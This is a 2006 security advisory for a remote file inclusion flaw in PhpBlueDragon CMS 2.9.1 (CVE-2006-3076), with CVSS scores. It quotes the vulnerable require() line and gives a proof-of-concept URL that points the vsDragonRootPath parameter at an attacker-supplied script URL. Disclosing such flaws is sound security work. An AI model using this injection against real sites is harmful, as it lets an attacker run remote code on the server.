PhpBlueDragon CMS 2.9.1, File inclusion vulnerability

2006.06.19

Credit: Federico Fazzi (federico autistici org)

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-3076

CWE: CWE-Other

CVSS Base Score: 6.4/10

Impact Subscore: 4.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: None

-----------------------------------------------------
Advisory id: FSA:015

Author:    Federico Fazzi
Date:	   14/06/2006, 18:20
Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability
Type:	   high
Product:   http://phpbluedragon.net/
Patch:	   unavailable
-----------------------------------------------------

1) Description:

Error occured in template.php, line 23:

---
require($vsDragonRootPath."public_includes/pub_kernel/pbd_template_custo
m.php");
---

2) Proof of concept:

http://example/[pbd_path]/software_upload/public_includes/pub_templates/
vphptree/template.php?vsDragonRootPath=[cmd_url]/
(note this is with final slash (/))

3) Solution:

sanitized $vsDragonRootPath

See this note in RAW Version

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PhpBlueDragon CMS 2.9.1, File inclusion vulnerability

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